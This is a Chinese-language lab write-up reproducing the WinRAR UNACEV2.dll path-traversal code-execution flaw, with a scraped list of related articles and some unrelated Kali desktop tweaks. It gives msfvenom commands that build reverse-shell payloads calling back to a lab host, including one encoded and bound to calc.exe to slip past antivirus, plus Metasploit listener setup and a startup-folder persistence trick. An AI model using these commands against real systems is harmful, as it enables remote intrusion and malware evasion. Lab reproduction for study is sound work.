漏洞介绍

WinRAR 是一款流行的解压缩工具,据其官网上发布的数据,全球有超过5亿的用户在使用

2019年2月20日,安全厂商 checkpoint 发布了名为《Extracting a 19 Year old code Execution from WinRAR》的文章,文章披露了一个存在于 winRAR 中用于 ace 文件解析的 DLL 模块中的绝对路径穿越漏洞,可导致远程代码执行。

漏洞类型:代码执行

漏洞利用条件:将压缩包解压到当前文件夹,同时释放恶意文件到指定目录,重启机器便会触发漏洞(解压到自启动目录 or 解压dll文件进行劫持)

受影响版本:WinRAR 5.7 之前含有UNACEV2.dll模块的压缩程序

产生原因:ace处理相关的DLL在对解压目标的相对路径进行解析时,CleanPath函数过滤不严导致

修复方案:升级到winrar5.7.1、

漏洞复现

环境准备:

吾爱破解上找的winrar 5.60版本

靶机:192.168.41.129

简体中文64位:http://www.win-rar.com/fileadmin/winrar-versions/sc20180711/wrr/winrar-x64-560sc.exe
简体中文32位:http://www.win-rar.com/fileadmin/winrar-versions/sc20180711/wrr/wrar560sc.exe

新版的winrar 5.71中不存在UNACEV2.dll

靶机下载的winrar5.60存在UNACEV2.dll模块

MSF生成后门

生成一个简单后门

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.41.130 -f exe -o shell.exe

刚传到本机,就被火绒杀了。可想而知现在用msf后门是有多方便,但也需要技术门槛,免杀的套路才行了。

MSF结合exp(msf命令错误示范)

替换exp.py中的exe

需python3.7 运行exp.py

遇到个坑,注意这里的命令,py2和py3兼容的,不能用python3 ./exp.py来运行

kali:

msf设置监听

use exploit/multi/handler
set windows/x64/meterpreter/reverse_tcp
set LHOST

靶机:

解压到当前文件夹

重启触发exlpoit

win7上重启后,会提示一个操作,无法执行,如果直接关闭,那就直接died了。没有截图。重来一遍

再次替换后发现,执行exe的过程是放入开机的启动项中。所以才需要重启才能触发hi.exe即后门

无法重现,恢复快照尝试。应该是我之前直接ctrl+z,应该用ctrl+c中断监听,ctrl+z直接退出msfconsole,监听仍然存在。所以新开的收不到session。需要kill之前中断的msfconsole进程。

才能收到session

这台win7 sp1用来测试CVE20190708获取session失败,换一个win10试试(临时下载iso,安装程序,看会儿小甲鱼吧)

晚上了都,win10就绪,恢复下被杀的后门

复现失败。最后发现了问题,好像是我msf的问题。哎,气死了。打扰了。~~~~~~~~~~~~我payload设置错了。

我默认设置了payload windows/x64/meterpreter/reverse_tcp。应该设置为windows/meterpreter/reverse_tcp

正确MSF结合exp

winrar解压到当前文件夹释放恶意文件。重启电脑触发自启动后门

复现成功,之前的时间都浪费了呀。

既然这样就来玩一下捆绑的编码过的exe吧,记忆,掌握下msf的命令

编码21次、捆绑正常的32位calc.exe,生成32位的yunying.exe文件

msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp -e x86/shikata_ga_nai -i  lhost=192.168.41.130 lport= -x calc.exe -f exe -o yunying.exe

用火绒和QQ安全管家扫描,都是安全的。不像裸着的exe,放上来就被杀了。但是只要点击后,连接一样是直接被杀的。0-0。只有免杀才能逃过连接过程中的shellcode释放。编码只能绕过表面上的特征扫描。

开启msfconsole监听

64位的win7提示失败,但在本机却可以运行

win10测试

msf收不到session,没有反应,看别人也是有这样的payload同样收不到会话。0-0。

下次继续尝试把。先美化下kali的界面。颜控+1

https://www.jianshu.com/p/5bee0470eb89

尝试Wing学长的gnome-tweak-tool命令,在kali中找不到,不同版本命令不一样。解决方法=>gnome-tweaks

发现了figlet这样好玩的东西

showfigfonts 查看存有的字体

figlet -f bubble yunying  -f指定要使用的字体

超级喜欢这个设计,自己的kali搞不出来。换个桌面美化就好了

明天去玩下CobaltStrike看看

WinRAR代码执行漏洞复现的更多相关文章

  1. WinRAR 代码执行漏洞复现

    影响版本: WinRAR < 5.70 Beta 1 Bandizip    < = 6.2.0.0 好压(2345压缩)    < = 5.9.8.10907 360压缩    & ...

  2. Tomcat/7.0.81 远程代码执行漏洞复现

    Tomcat/7.0.81 远程代码执行漏洞复现 参考链接: http://www.freebuf.com/vuls/150203.html 漏洞描述: CVE-2017-12617 Apache T ...

  3. Windows CVE-2019-0708 远程桌面代码执行漏洞复现

    Windows CVE-2019-0708 远程桌面代码执行漏洞复现 一.漏洞说明 2019年5月15日微软发布安全补丁修复了CVE编号为CVE-2019-0708的Windows远程桌面服务(RDP ...

  4. DedeCMS V5.7 SP2后台代码执行漏洞复现(CNVD-2018-01221)

    dedeCMS  V5.7 SP2后台代码执行漏洞复现(CNVD-2018-01221) 一.漏洞描述 织梦内容管理系统(Dedecms)是一款PHP开源网站管理系统.Dedecms V5.7 SP2 ...

  5. IIS_CVE-2017-7269 IIS6.0远程代码执行漏洞复现

    CVE-2017-7269 IIS6.0远程代码执行漏洞复现 一.漏洞描述 IIS 6.0默认不开启WebDAV,一旦开启了WebDAV,安装了IIS6.0的服务器将可能受到该漏洞的威胁. 二.影响版 ...

  6. IIS6远程代码执行漏洞复现CVE-2017-7269

    简述 CVE-2017-7269是IIS 6.0中存在的一个栈溢出漏洞,在IIS6.0处理PROPFIND指令的时候,由于对url的长度没有进行有效的长度控制和检查,导致执行memcpy对虚拟路径进行 ...

  7. Windows漏洞:MS08-067远程代码执行漏洞复现及深度防御

    摘要:详细讲解MS08-067远程代码执行漏洞(CVE-2008-4250)及防御过程 本文分享自华为云社区<Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度防御>,作者 ...

  8. Apache log4j2 远程代码执行漏洞复现👻

    Apache log4j2 远程代码执行漏洞复现 最近爆出的一个Apache log4j2的远程代码执行漏洞听说危害程度极大哈,我想着也来找一下环境看看试一下.找了一会环境还真找到一个. 漏洞原理: ...

  9. WinRAR代码执行漏洞CVE-2018-20250

    0x01 分析思路 利用https://github.com/googleprojectzero/winafl 漏洞分析框架模糊测试WinRAR. 几个存档格式的崩溃,例如RAR,LZH和ACE,这些 ...

随机推荐

  1. UVA - 10200 Prime Time 关于 double类型 卡精度

    题意: 给定一个区间,a到b, n在区间内,有一个计算素数的公式,n*n+n+41,将n带进去可以得出一个数字.但是这个公式可能不准确,求出这个公式在这个区间内的准确率. 直接模拟就好了,不过要 注意 ...

  2. iOS UmbrellaHeader

    Lexical or Preprocessor Issue - Umbrella header for module 'xxx' does not include header 'xxx.h' fra ...

  3. centos7中提升用户权限

    提升用户权限我看网上资源有两种方法,一种是修改/etc/sudoers/文件将新增的用户权限提升为和root一样的权限,这种方法不知道怎么回事我没用应用成功,这里我介绍第二种方法,第二种方法是更改/e ...

  4. HIT软件构造课程3.2总结(Designing Specificaton)

    本节转向“方法/函数/操作”如何定义 上一节是名词 这一节是动词 1.编程语言中的函数和方法 方法 使用者不需要知道方法内部如何实现,这叫做“抽象”. 参数 参数类型是否匹配,在静态检查时完成. 返回 ...

  5. [codevs2370]小机房的树<LCA>

    题目链接:http://codevs.cn/problem/2370/ 这题我还是做了比较久了,因为有人告诉我这是用tarjan离线做 好吧算我是蒟蒻,真心不懂tarjan怎么做,最后还是用倍增做的 ...

  6. Hadoop调试记录(1)

    错误 ERROR: Can't get master address from ZooKeeper; znode data == null 解决 关闭hadoop,发现stop-all.sh后几个进程 ...

  7. B. The Monster and the Squirrel

    B. The Monster and the Squirrel Ari the monster always wakes up very early with the first ray of the ...

  8. 【tensorflow2.0】张量的结构操作

    张量的操作主要包括张量的结构操作和张量的数学运算. 张量结构操作诸如:张量创建,索引切片,维度变换,合并分割. 张量数学运算主要有:标量运算,向量运算,矩阵运算.另外我们会介绍张量运算的广播机制. 本 ...

  9. 001_Chrome 76支持原生HTML 图片懒加载Lazy loading

    Table Of Content 什么是懒加载? 语法参数及使用方式? 有哪些特点? 与js有关的实践 什么是懒加载? 技术背景 Web应用需要经常向后台服务器请求资源(通过查询数据库,是非常耗时耗资 ...

  10. 测试Activity和Fragment的生命周期

    Activity的生命周期有7个函数,Fragment的生命周期有11个函数. Activity生命周期除上述6个方法还有一个Restart()方法,该方法在该Activity从不可见(仍存在)到重新 ...